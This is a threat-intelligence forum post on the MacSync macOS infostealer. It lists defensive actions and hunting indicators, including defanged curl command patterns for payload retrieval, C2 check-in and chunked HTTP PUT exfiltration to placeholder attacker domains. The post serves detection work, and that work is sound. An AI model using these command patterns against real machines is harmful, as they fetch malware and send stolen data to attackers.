MacSync infostealer Infrastructure and TTPs

Threat Intel
, , , ,
1

macsync
macsync1200×630 261 KB

Last Updated: 2026-08-24T19:42:12Z

What’s Happening

image
image936×451 48.7 KB

Microsoft expands on reporting by RST Cloud on macOS infostealer infrastructure and TTPs, in which they connected over 30 additional domains to the activity. Rather than hunting on the large amount of quickly rotating domains used, Microsoft relates repeated execution patterns including request paths, headers, curl arguments, and upload parameters, tracking the malware’s entire attack chain.

https://www.microsoft.com/en-us/security/blog/2026/08/18/hunting-macsync-stealer-infrastructure-through-behavioral-pivots/

Actions

  • Reduce Terminal execution risk through user education. The primary entrypoint is through ClickFixing
  • Monitor suspicious Terminal usage that retrieves payloads, decode content or executes commands shortly after user interaction.
  • Detect native tool abuse including unusual sequences of curl, base64, gunzip, osascript, cp, rm, mkdir, and killall.
  • Hunt for post execution behavior related to AppleScript assisted shell activity, curl based payload retrieval, credential-store access, temp staging paths, archive creation, and cleanup behavior.
  • Protect access to credential stores and other sensitive files in user directories.
  • Monitor data staging in temp paths.
  • Monitor exfiltration patterns using curl with HTTP PUT method.
  • Restrict suspicious outbound traffic to suspicious, newly registered, or behaviorally related domains

Indicators

Correlated domain indicators are included in MISP as well as a command-line Object with curl usage. Due to the large volume of domains used in rotation, it’s important to consider the hunting pivots and actions taken by the malware when detecting and investigating:

Phase Representative behavioral pivot Why?
Payload retrieval curl -kfsSL hxxp://[domain]/curl/[token] Identifies the initial payload retrieval pattern without depending on a single domain.
C2 check-in curl -k -s –max-time 30 -H “User-Agent: Mozilla/5.0 (Macintosh…)” -H “api-key: **********” hxxp://[domain]/dynamic?txd=[token] Combines endpoint command-line context with recurring request shape, headers, and URI paths.
Chunked exfiltration curl -k -s -X PUT –data-binary @- -H “api-key: **********” hxxp://[domain]/gate?buildtxd=[token] &upload_id=[id]&chunk_index=[n]&total_chunks=[n] Shows active data exfiltration and provides durable upload parameters for hunting across domains.
Indicator Type Description
-H “api-key:” Command-line parameter API-key header request pattern used in MacSync Stealer C2 communication.
-H “User-Agent: Mozilla/5.0 (Macintosh” Command line parameters macOS User-Agent string used in outbound requests associated with the activity.
-w %{http_code} Command line parameters Curl output pattern used to capture HTTP response codes during upload attempts.
-X PUT –data-binary Command line parameters HTTP upload pattern associated with data-transfer and exfiltration behavior.
curl -k -s –max-time Command line parameters Curl-based C2 check-in pattern that suppresses output, bypasses certificate validation, and limits connection time.
/curl/ URL path Payload retrieval path observed in MacSync Stealer command-line activity.
/dynamic?txd= URL path Recurring MacSync Stealer URI pattern used for C2 and infrastructure hunting.
/gate?buildtxd= URL path Recurring MacSync Stealer URI pattern associated with chunked HTTP PUT data exfiltration.
chunk_index= URL parameter Chunk index parameter observed in repeated upload requests.
total_chunks= URL parameter Total chunk count parameter observed in chunked upload activity.
upload_id= URL parameter Upload session parameter observed during chunked data-transfer activity.

Notes

Other Sources

4 Likes